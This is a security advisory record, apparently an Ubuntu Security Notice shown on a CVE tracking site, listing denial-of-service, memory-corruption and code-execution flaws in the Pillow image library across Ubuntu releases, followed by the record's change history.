It was discovered that Pillow could enter an infinite loop while determining the frame count of a MIC image. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS. (CVE-2026-112390)

It was discovered that Pillow's PdfParser.get_value() could recurse without a limit while reading nested PDF objects. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, Ubuntu 22.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 18.04 LTS. (CVE-2026-112391)

It was discovered that Pillow's rank-based filters could dereference invalid image storage for a zero-size image. An attacker could possibly use this issue to cause a crash. (CVE-2026-112392)

It was discovered that Pillow had a heap buffer overflow in _tiffWriteProc when saving compressed TIFF data. An attacker could possibly use this issue to crash the process or execute arbitrary code. (CVE-2026-112393)

It was discovered that Pillow's P;2L and P;4L raw decoders could read past the end of an input buffer. An attacker could possibly use this issue to disclose heap memory or crash the process. (CVE-2026-112394)

It was discovered that Pillow's tiled-TIFF decoder could read past the tile buffer while copying four-byte pixels. An attacker could possibly use this issue to expose heap data or crash the process. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS. (CVE-2026-112395)

It was discovered that Pillow had a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. An attacker could possibly use this issue to crash the process or execute arbitrary code. This issue only affected Ubuntu 26.10 and Ubuntu 26.04 LTS. (CVE-2026-112396)

It was discovered that Pillow's ImageMorph.MorphOp.apply() could access memory before a row buffer for a zero-width image. An attacker could possibly use this issue to cause a crash. (CVE-2026-112397)

It was discovered that Pillow's FlashPix JPEG-tile decoder could write decoded scanlines beyond the allocated tile buffer. An attacker could possibly use this issue to corrupt heap memory and execute arbitrary code. (CVE-2026-112398)

It was discovered that Pillow could allocate an APNG disposal background at the full canvas size before applying the decompression-bomb check. An attacker could possibly use this issue to exhaust memory and cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS. (CVE-2026-112399)

It was discovered that Pillow could retain a rejected GIF frame size after a decompression-bomb exception. An attacker could possibly use this issue to exhaust memory and cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, and Ubuntu 24.04 LTS. (CVE-2026-112400)

It was discovered that Pillow performed quadratic copying while parsing GIF comments. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, Ubuntu 22.04 LTS, and Ubuntu 20.04 LTS. (CVE-2026-112401)

It was discovered that Pillow could double free image memory when ImagingScaleAffine encounters a selective allocation failure. An attacker could possibly use this issue to crash the process. (CVE-2026-112402)

It was discovered that Pillow's JPEG decoder could write a full-width scanline into a buffer sized for a requested draft scale. An attacker could possibly use this issue to corrupt heap memory or execute arbitrary code. (CVE-2026-112403)

It was discovered that Pillow's TIFF tile and RGBA decode paths could read beyond row data produced by libtiff. An attacker could possibly use this issue to expose heap data or crash the process. This issue only affected Ubuntu 26.10, Ubuntu 26.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS.…

Record
USN-9064-1
Updated
2026-11-13

History

History
RecordedChangedSources
affectedOSV
affected, aliases, referencesOSV
affected, aliases, referencesOSV
affectedOSV
affected, aliases, referencesOSV
affected, aliases, referencesOSV
affected, aliases
affected
affectedOSV
affectedOSV
affectedOSV
affected, factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 297 references and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open